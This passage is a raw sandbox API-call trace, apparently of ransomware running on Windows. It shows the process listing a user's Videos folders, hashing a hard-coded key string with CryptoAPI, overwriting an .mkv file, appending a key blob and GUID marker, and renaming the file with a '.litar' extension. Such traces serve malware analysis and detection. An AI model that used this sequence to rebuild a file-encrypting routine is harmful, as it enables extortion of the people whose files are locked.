HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\") returned="FlfRA9\\" [0127.253] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0127.253] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a07c8 | out: hHeap=0x5c0000) returned 1 [0127.253] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\") returned="b-b9YkzIMqBbLX\\" [0127.253] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.253] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0127.253] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0127.253] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0127.253] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0127.253] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0127.253] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.253] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0127.253] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.253] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.253] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0127.253] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.253] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.253] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.254] PathFindFileNameW (pszPath="") returned="" [0127.254] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.254] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x139c6c00, ftCreationTime.dwHighDateTime=0x1d4ce9e, ftLastAccessTime.dwLowDateTime=0xf9e70660, ftLastAccessTime.dwHighDateTime=0x1d4d426, ftLastWriteTime.dwLowDateTime=0xf9e70660, ftLastWriteTime.dwHighDateTime=0x1d4d426, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.254] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.255] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x139c6c00, ftCreationTime.dwHighDateTime=0x1d4ce9e, ftLastAccessTime.dwLowDateTime=0xf9e70660, ftLastAccessTime.dwHighDateTime=0x1d4d426, ftLastWriteTime.dwLowDateTime=0xf9e70660, ftLastWriteTime.dwHighDateTime=0x1d4d426, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.255] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80fcf450, ftCreationTime.dwHighDateTime=0x1d4d1a4, ftLastAccessTime.dwLowDateTime=0x14ce6160, ftLastAccessTime.dwHighDateTime=0x1d4c8c1, ftLastWriteTime.dwLowDateTime=0x14ce6160, ftLastWriteTime.dwHighDateTime=0x1d4c8c1, nFileSizeHigh=0x0, nFileSizeLow=0x76e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8gCaS.mkv", cAlternateFileName="")) returned 1 [0127.255] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.255] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd6) returned 0x2fd16f0 [0127.255] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30751a0 | out: hHeap=0x5c0000) returned 1 [0127.255] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\8gCaS.mkv") returned=".mkv" [0127.255] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\8gCaS.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\8gcas.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.255] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=30440) returned 1 [0127.255] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.257] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x76c2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.257] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0127.261] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0127.261] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.261] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.261] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x76e8, lpOverlapped=0x0) returned 1 [0127.261] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.262] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.262] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.262] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.262] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.262] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.262] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.262] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.262] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.262] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.263] GetLastError () returned 0x0 [0127.263] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.263] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.263] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.263] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76f0) returned 0x30fa0b0 [0127.263] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.263] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.263] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x76e3, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x76e3, lpOverlapped=0x0) returned 1 [0127.263] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.263] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x76e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.263] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.263] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.263] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.263] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.263] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.263] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.263] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.264] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.264] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.264] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.264] CloseHandle (hObject=0x624) returned 1 [0127.264] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcf18 [0127.264] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8b0) returned 0x30fa0b0 [0127.264] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcf18 | out: hHeap=0x5c0000) returned 1 [0127.265] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\8gCaS.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\8gcas.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\b-b9YkzIMqBbLX\\FlfRA9\\16cC5\\8gCaS.mkv.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\b-b9ykzimqbblx\\flfra9\\16cc5\\8gcas.mkv.litar")) returned 1 [0127.265] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.265] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.266] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2fd16f0 | out: hHeap=0x5c0000) returned 1 [0127.266] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6e260, ftCreationTime.dwHighDateTime=0x1d4cef2, ftLastAccessTime.dwLowDateTime=0xbf2bed20, ftLastAccessTime.dwHighDateTime=0x1d4c674, ftLastWriteTime.dwLowDateTime=0xbf2bed20, ftLastWriteTime.dwHighDateTime=0x1d4c674, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VAY0f6Tek5y2drs", cAlternateFileName="VAY0F6~1")) returned 1 [0127.266] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e4f8 [0127.266] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e440 [0127.266] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x16c) returned 0x308d780 [0127.266] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30751a0 [0127.266] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcf18 [0127.266] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e668 [0127.266] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e5b0 [0127.266] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e890 [0127.266] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e948 [0127.266] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a07c8 [0127.266] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x3075660 [0127.266] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x90) returned 0x30756f8 [0127.266] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30752d0 | out: hHeap=0x5c0000) returned 1 [0127.266] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bd068 | out: hHeap=0x5c0000) returned 1 [0127.266] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e218 | out: hHeap=0x5c0000) returned 1 [0127.267] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e2d0 | out: hHeap=0x5c0000) returned 1 [0127.267] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e720 | out: hHeap=0x5c0000) returned 1 [0127.267] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e7d8 | out: hHeap=0x5c0000) returned 1 [0127.267] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x69ff48 | out: hHeap=0x5c0000) returned 1 [0127.267] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075108 | out: hHeap=0x5c0000) returned 1 [0127.267] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3075070 | out: hHeap=0x5c0000) returned 1 [0127.267] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.267] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e7d8 [0127.267] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e440 | out: hHeap=0x5c0000) returned 1 [0127.267] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.267] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6e260, ftCreationTime.dwHighDateTime=0x1d4cef2, ftLastAccessTime.dwLowDateTime=0xbf2bed20, ftLastAccessTime.dwHighDateTime=0x1d4c674, ftLastWriteTime.dwLowDateTime=0xbf2bed20, ftLastWriteTime.dwHighDateTime=0x1d4c674, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VAY0f6Tek5y2drs", cAlternateFileName="VAY0F6~1")) returned 0 [0127.267] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.267] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.267] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074fd8 | out: hHeap=0x5c0000) returned 1 [0127.267] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.267] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bd068 [0127.267] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.267] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.267] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.267] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.267] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.267] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.267] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.267] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.267] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.267] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.267] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.268] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.268] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.268] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.268] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.268] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.268] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.268] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.268] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.268] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.268] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.268] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.268] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.268] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.268] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.268] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.269] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.269] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.270] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.270] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.270] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.270] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.270] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.270] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.270] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.270] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.270] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcfc0 | out: hHeap=0x5c0000) returned 1 [0127.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcfc0 [0127.270] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.270] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, 